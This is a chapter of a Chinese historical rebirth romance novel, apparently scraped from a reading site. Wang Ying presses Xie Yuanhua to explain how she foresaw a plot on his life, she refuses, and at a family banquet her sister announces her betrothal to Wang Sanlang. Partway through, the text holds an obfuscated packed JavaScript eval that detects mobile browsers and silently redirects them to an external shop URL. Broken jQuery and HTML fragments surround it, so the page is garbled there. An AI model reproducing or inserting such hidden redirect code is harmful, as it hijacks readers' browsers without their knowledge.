文趣网 > 其他小说 > 玉奴妆 > 10. 家宴
    王瑛已经在这里站了许久了。

    看着下人们利落地打晕了虞七郎后,他便跟在谢四娘身后,一路来到林间。

    他的本意是想直接询问谢四娘,到底为何会知晓他会被堵在车上困死。

    这段时间以来,谢四娘此人在王瑛心中已经彻底成为了一个不解之谜。

    他查不到任何有关谢四娘或谢氏勾结司马氏、庾氏的线索,然而司马、庾氏意图谋害他的证据确凿。

    所以谢四娘到底是如何知晓这件事的?

    她会方术?

    擅数解?

    还是可观天象而占候?

    王瑛甚至连她是转世重生之人的可能都想过了。

    他被此事困扰许久,再加上他素来不是一个有耐心的人,便决定主动来询问谢四娘,从她的口中听到答案。

    不知为何,王瑛总觉得谢四娘不会骗他。

    他看着谢四娘出了禅房,一个人默默地向后院走去,便静静地跟了上去。

    只见谢四娘一路走入密林,在一处石桌旁坐下,然后缓缓靠在桌上,侧着脸,长睫低垂着,似乎是在想着什么。

    王瑛觉得她应该是在为这桩门不当户不对的婚事困扰着。

    想到被打晕了的虞七郎,他得意一笑。

    但又转念一想,谢四娘若如此烦心,自己等下便可拿此事来与她交换。

    他帮她毁掉这门亲事,作为交换,她要告诉自己,为何知晓自己会死。

    王瑛想,这样自己也就不算亏欠谢四娘了,说到底,她确实救了自己一命。

    于是他静静等待着,等着谢四娘起身离开时,自己再出现。

    今日谢四娘打扮得比往日好看许多。

    应当是要与虞氏相看的原因,她那嫡母终于肯给她做身新衣服了。

    等得无聊,王瑛随手摘了一片树叶,边玩树叶,边不时抬头看看谢四娘。

    她穿了一身碧色的裙子,像一汪凝住的水。

    乌黑浓密的长发被松松挽成一个温婉的垂髻,伴随着她的姿势,一截白皙的脖颈浅浅露出。

    王瑛的目光不由自主地在那截白皙上停留了片刻。

    手中的树叶掉了下来。

    他立刻不自然地转过头去。

    然后他就不再看谢四娘了,只默默站在那里,等着她起身。

    林间的风轻轻拂过王瑛耳畔,吹散了那一丝热意。

    他等了许久,谢四娘却始终一动不动,就好似睡着了一般。

    若不是从他的角度可以看到她半垂的睫毛不停颤动着,还真以为她睡着了。

    又耐着性子等了半晌后,王瑛实在是忍不住了。

    他在她背后轻唤一声:“谢女郎。”

    谢四娘猛地回过头来,瞧见了站在树下的他。

    他也瞧见了她满脸的泪痕。

    *

    谢元华回头看到王瑛的一刹那,心跳都停滞了片刻。

    她几乎要以为自己是在做梦。

    白衣少年安安静静地站在树下,午后的光影落在他周身,使得他整个人缥缈得像一个随时会消失的梦。

    也许是瞧见了她脸上的泪水,他眼底的笑意瞬间消失了。

    他走上前来。

    谢元华赶忙侧身擦拭起自己脸上未干的泪痕,心慌地想:王郎刚刚不会一直站在那里吧?

    那岂不是她趴在桌上哭的全过程都被他看到了?

    王瑛确实看到了。

    只是他先前不知道她是在哭,还以为她是在烦恼和虞七郎的婚事。

    这是他第二次见她哭了。

    一阵难言的静默后,谢元华终于擦去了脸上的泪水,她哑着嗓子问道:“王郎……为何在这里?”

    这般“偶遇”也太巧了一些。

    王瑛迟疑了一下,还是直接表明了来意:“我有事想问女郎,所以便跟在女郎身后来了此处……还请女郎见谅。”

    果然如此。

    谢元华便知道,他来寻自己,必定是想问那日之事。

    除此之外,两人再无任何关系。

    她垂下眼,寂寥一笑。

    再抬头时,谢元华脸上情绪转淡,她轻轻地说:“不知王郎想问何事?”

    王瑛敏锐察觉到对面女郎的情绪好似低落了下来。

    来不及细想,他带着一丝急切开口问道:“女郎那日冒雨前来,使瑛免于一劫,瑛铭感五内,但不知女郎是如何知晓此事?”

    那双鸦青的眸子紧紧盯着自己,含着期盼,只是谢元华心中清楚,那期盼不是为了她,而是为了她知晓的秘密。

    如果不是牵扯到了他的性命,王郎一辈子都不会用这样的眼神看着自己。

    谢元华心中黯然,她别过眼去,摇了摇头。

    “王郎既平安度过此劫,那便不该再追问下去了,我也不会再多说什么。”

    她早已打定主意,会彻底瞒住自己重生之事,不会对任何人说出此秘密。

    本朝鬼怪灵异之说盛行,但这并不代表世人真的接受身边也出现这种神异之事,一旦她说出此事,想必立刻会被人视作妖异。

    谢元华知道那些被视作妖异的人都是什么下场。

    因此即便询问的人是王郎,她也不会将真相告知于他。

    听到谢元华这般回答,王瑛早不失望,他早已料到谢四娘不会轻易对他说出实情。

    可心中却还是有些烦闷,谢四娘不是说自己心悦于他许久?怎么偏在这件事上不肯对他坦承半分。

    他腹诽一句,面上仍旧淡然:“并非是我穷追不舍,只是此事涉及我的性命,不得不问。”

    顿了一下,王瑛直接抛出自己的筹码。

    “我知晓女郎正为一桩不甚相配的婚事烦恼,若我可为女郎解决此事,女郎是否考虑,将真相告知于我?”

    他想,自己帮了她忙,谢四娘总该愿意告诉他了吧。

    王瑛浅浅笑了。

    谢元华并不笨,稍一思索便想通了虞恒失踪的原因,怕不是眼前人做的。

    王郎不知从何处得知嫡母要将她嫁给会稽虞氏的消息,今日特地前来建福寺阻拦此事,只为以此为筹码,逼她说出真相。

    谢元华沉默了。

    她理解王郎为何一直追问不休,毕竟事关自己的性命,谁能不在乎。

    可……自己实在无法说出真相,她也不愿违背本心欺骗他。

    更何况,王郎虽是好心帮她,但只怕会弄巧成拙。

    即便与虞恒的亲事不成,嫡母也只会给她找一个更差的夫君,与其那样,还不如是虞恒。

    一阵清风吹来,树林发出簌簌之声。

    王瑛看着对面的女郎脸上情绪不断变换着,松动、犹豫……最后逐渐归于平静。

    良久,谢元华终于下定决心。

    她微微屈膝,行了一礼。

    “十二年前之事,我没齿难忘,那日所举不过都是为了回报王郎的恩情……王郎若能一生顺遂,我便放心了。”

    “……至于我的婚事,这是我自己心甘情愿的……也请王郎此后不要再来与我相见了,王郎既已与二姊议亲,我也即将与他人定下亲事,实在不宜再私下相见。”

    说完,她停了一瞬,最后再留恋地看了一眼王瑛,然后便转身离开了。

    王瑛来不及挽回,只能眼睁睁看着那抹碧色消失在自己眼前。

    他静默在原地许久。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896580|212852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>*

    谢家。

    那日从建福寺回来后,谢元华和虞恒的婚事便被定下了,府中人也基本都知晓了。

    谢宝姿得意洋洋地过来讥讽了她一番,其余人则是事不关己高高挂起。

    谢灵容是唯一一个来安慰她的。

    她带了一箱颜色鲜亮的贵重衣料送给谢元华,一进门就拉着她的手劝慰她。

    “叔母此番做得实在太过了……无论如何,怎可将谢氏女儿轻易下嫁给那吴地士族……实在太不像话……”

    她皱着眉,眼中含着无奈与怜惜。

    谢元华则是低着头不说话。

    谢灵容看到她这般逆来顺受的模样,又是深深叹一气。

    自己的这个四妹妹从小到大实在是过得太苦了。

    看着沉默不语的妹妹,谢灵容心中油然生出一股保护欲。

    她握紧谢元华的手,坚定说道:“四妹妹,你先别难过,过几日我父亲就要从会稽回来了,届时他一定会阻拦叔母,必不会将你嫁去会稽,你且先等一等。”

    想到即将回到建康的父亲,谢灵容稍微安心些,她知道若是她父亲在,一定不会同意叔母如此行事。

    堂堂陈郡谢氏,怎可如此不顾脸面与吴儿联姻,成何体统。

    谢灵容笃定她父亲必定不会同意这桩婚事,但一旁的谢元华却心知肚明,即便伯父回来了,自己也还是会嫁给虞恒。

    前世便是这样。

    在伯父面前,嫡母故意将父亲推出去,让父亲表现出不喜伯父插手的样子,回拒了伯父,只因嫡母许诺事成之后将自己身边最貌美的那个侍女送给父亲。

    伯父尽管不愿与吴地士族联姻,可在儿女亲事上终究无法越过亲生父母,再加上虞氏又适时送了会稽的一座山给谢氏,最终伯父默认了这桩婚事。

    思及过去,谢元华轻叹一声。

    看着真心为自己担忧的二姊,她心头一酸,轻轻倚靠在阿姊的肩上。

    *

    七日后,谢氏家宴。

    谢冲从会稽回来了,听说了这段时间发生的事,办了一场家宴。

    家宴的氛围沉默异常,待到用完膳,谢冲唤自己的弟弟谢凌一起进书房,其余人则在外间静静候着。

    谢灵容鼓励似的握住谢元华的手,充满信心地看着书房的方向,她相信自己父亲一定会阻拦此事。

    谢元华脸色苍白,勉强对阿姊笑了一下便低下头去。

    果不其然,没过多久,她就见到父亲得意洋洋地昂着头出来了,临走前还给了嫡母一个眼神,大抵意思是要她快些把那侍女送到他房里。

    伯父跟在父亲身后,脚步沉重。

    他远远看过来,朝阿姊轻轻摇摇头,阿姊的脸色瞬间也白了。

    “怎么会……”

    谢元华听到阿姊轻声喃喃道,一副不可置信的模样。

    虽然都已经是经历过一次的事了,但看到阿姊这样失望,谢元华心里还是十分难受。

    她握住阿姊的手。

    谢灵容却不甘心,她站起来走到自己父亲面前,和他低声交谈起来。

    隔着些距离,谢元华听不清两人说些什么,只能看到阿姊的表情越来越沮丧,她低下头,轻叹一口气。

    然而片刻后再抬起头时,谢元华却看到阿姊的脸上忽然迸发出了一阵难言的惊喜。

    伯父也笑了,一改刚刚的沉闷,他慈爱地轻轻抚摸下女儿的头发,然后便离开了。

    谢元华疑惑地看着谢灵容红着脸走回她身边,嘴角漾着幸福的笑。

    她心里莫名一沉。

    果然,下一瞬,她听见阿姊眼神飘忽,梦呓似的说出一句:“我要与王三郎定亲了。”